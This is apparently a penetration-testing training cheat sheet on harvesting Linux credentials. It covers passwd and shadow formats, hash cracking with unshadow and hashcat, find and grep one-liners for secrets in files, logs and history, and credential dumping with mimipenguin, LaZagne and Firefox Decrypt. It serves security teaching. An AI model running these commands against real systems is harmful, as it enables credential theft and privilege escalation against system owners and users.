Extracting Passwords from Linux Systems
Linux Authentication Process
Passwd file
The /etc/passwd file contains information about every user on the system and is readable by all users and services.
htb-student:x:1000:1000:,,,:/home/htb-student:/bin/bash| Field | Value |
|---|---|
| Username | htb-student |
| Password | x |
| User ID | 1000 |
| Group ID | 1000 |
| GECOS | ,,, |
| Home directory | /home/htb-student |
| Default shell | /bin/bash |
Usually, we will find the value x in the password field, indicating that the passwords are stored in a hashed form within the /etc/shadow file. However, it can also be that the /etc/passwd file is writeable by mistake. This would allow us to remove the password field for the root user entirely.
head -n 1 /etc/passwd
root::0:0:root:/root:/bin/bashShadow file
Since reading password hash values can put the entire system at risk, the /etc/shadow file was introduced. It has a similar format to /etc/passwd but is solely responsible for password storage and management.
htb-student:$y$j9T$3QSBB6CbHEu...SNIP...f8Ms:18955:0:99999:7:::| Field | Value |
|---|---|
| Username | htb-student |
| Password | $y$j9T$3QSBB6CbHEu…SNIP…f8Ms |
| Last change | 18955 |
| Min age | 0 |
| Max age | 99999 |
| Warning period | 7 |
| Inactivity period | - |
| Expiration date | - |
| Reserved field | - |
Opasswd
The PAM library (pam_unix.so) can prevent users from reusing old passwords. These previous passwords are stored in the /etc/security/opasswd file. Administrator (root) privileges are required to read this file, assuming its permissions have not been modified manually.
sudo cat /etc/security/opasswd
cry0l1t3:1000:2:$1$HjFAfYTG$qNDkF0zJ3v8ylCOrKB0kt0,$1$kcUjWZJX$E9uMSmiQeRh4pAAgzuvkq1Cracking Linux Credentials
sudo cp /etc/passwd /tmp/passwd.bak
sudo cp /etc/shadow /tmp/shadow.bak
unshadow /tmp/passwd.bak /tmp/shadow.bak > /tmp/unshadowed.hasheshashcat -m 1800 -a 0 /tmp/unshadowed.hashes rockyou.txt -o /tmp/unshadowed.crackedCredential Hunting
Files
Searching for configuration files
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;donefor i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";doneSearching for databases
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";doneSearching for notes
find /home/* -type f -name "*.txt" -o ! -name "*.*"Searching for scripts
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";doneEnumerating cronjobs
cat /etc/crontab Enumerating history files
tail -n5 /home/*/.bash*Enumerating log files
| File | Description |
|---|---|
| /var/log/messages | Generic system activity logs. |
| /var/log/syslog | Generic system activity logs. |
| /var/log/auth.log | (Debian) All authentication related logs. |
| /var/log/secure | (RedHat/CentOS) All authentication related logs. |
| /var/log/boot.log | Booting information. |
| /var/log/dmesg | Hardware and drivers related information and logs. |
| /var/log/kern.log | Kernel related warnings, errors and logs. |
| /var/log/faillog | Failed login attempts. |
| /var/log/cron | Information related to cron jobs. |
| /var/log/mail.log | All mail server related logs. |
| /var/log/httpd | All Apache related logs. |
| /var/log/mysqld.log | All MySQL server related logs. |
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;doneMemory and cache
Mimipenguin
Many applications and processes work with credentials needed for authentication and store them either in memory or in files so that they can be reused. For example, it may be the system-required credentials for the logged-in users. Another example is the credentials stored in the browsers, which can also be read. In order to retrieve this type of information from Linux distributions, there is a tool called mimipenguin that makes the whole process easier.
sudo python3 mimipenguin.pyLaZagne
sudo python2.7 laZagne.py allBrowser credentials
ls -l .mozilla/firefox/ | grep defaultcat .mozilla/firefox/1bplpd86.default-release/logins.json | jq .The tool Firefox Decrypt is excellent for decrypting these credentials, and is updated regularly. It requires Python 3.9 to run the latest version. Otherwise, Firefox Decrypt 0.7.0 with Python 2 must be used.
python3.9 firefox_decrypt.pypython3 laZagne.py browsers